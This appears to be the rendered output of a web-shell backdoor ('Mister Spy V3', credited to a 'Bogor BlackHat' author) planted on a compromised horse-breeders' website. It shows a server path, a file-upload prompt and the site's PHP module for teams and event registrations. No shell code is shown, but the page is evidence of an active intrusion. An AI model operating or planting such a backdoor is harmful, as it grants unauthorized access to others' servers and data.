Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/modules/
Upload File :
Current File : /home/caballoscriollos/www/espanol/modules/equipos.php

<?php

require_once('../library/class.equipos.php');
require_once('../library/class.equipos.php');
require_once('../library/class.inscripcionesanimalespruebasfuncionales.php');


class ModuleEquipos extends Module
{
	function GetName()
	{
		return "Equipos";
	}

	function GetXMLCommands()
	{
		$Commands = array();
		$Commands[] = 'GetAll';
		$Commands[] = 'GetById';
		$Commands[] = 'Validar';

		return $Commands;
	}

	function GetAll(array $array)
	{
		$oEquipos = new Equipos();

		$filter = array();
		$array['AnioDesde'] = date('Y');
		$array['AnioHasta'] = date('Y');

		$arrEquipos = $oEquipos->GetAll($array, NULL);
		$arrResult = array();
		foreach ($arrEquipos as $oEquipo)
		{
			$oEquipo->LoadAnimales();
			$oEquipo->Habilitado = $oEquipo->JinetesHabilitados($array['FechaEvento'], $array['IdEvento']) ? '1' : '0';
			$oEquipo->JinetesInhabilitados = implode(' | ', $oEquipo->JinetesInhabilitadosNombre($array['FechaEvento'], $array['IdEvento']));
			$arrResult[] = $oEquipo;
		}
		
		return $arrResult;
	}

	function GetById(array $array)
	{
		$oEquipos = new Equipos();

		$filter = array();

		$oEquipo = $oEquipos->GetById($array['IdEquipo']);
		$oEquipo->LoadAnimales();
		
		return $oEquipo;
	}

	function Validar(array $array)
	{
		$oEquipos = new Equipos();
		$oInscripcionesAnimalesPruebasFuncionales = new InscripcionesAnimalesPruebasFuncionales();

		$filter = array();

		if (!$array['IdEquipo']) {
			return array('result' => '1', 'message' => 'Ok');
		}

		$oEquipo = $oEquipos->GetById($array['IdEquipo']);

		foreach ($oEquipo->GetAnimales() as $oAnimal) {

			if ($oInsc = $oInscripcionesAnimalesPruebasFuncionales->GetByIdAnimalIdCategoriaFuncional($array['IdEvento'], $oAnimal->IdAnimal, $oAnimal->Tabla, $array['IdEventosFuncionalesPrueba'], $array['IdEventosFuncionalesPruebasCategoria'])) {
		
				if ($oInsc->IdEquipo != $oEquipo->IdEquipo) {
					return array('result' => '0', 'message' => $oAnimal->Nombre);
				}
			}

		}
		
		return array('result' => '1', 'message' => 'Ok');
	}

}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat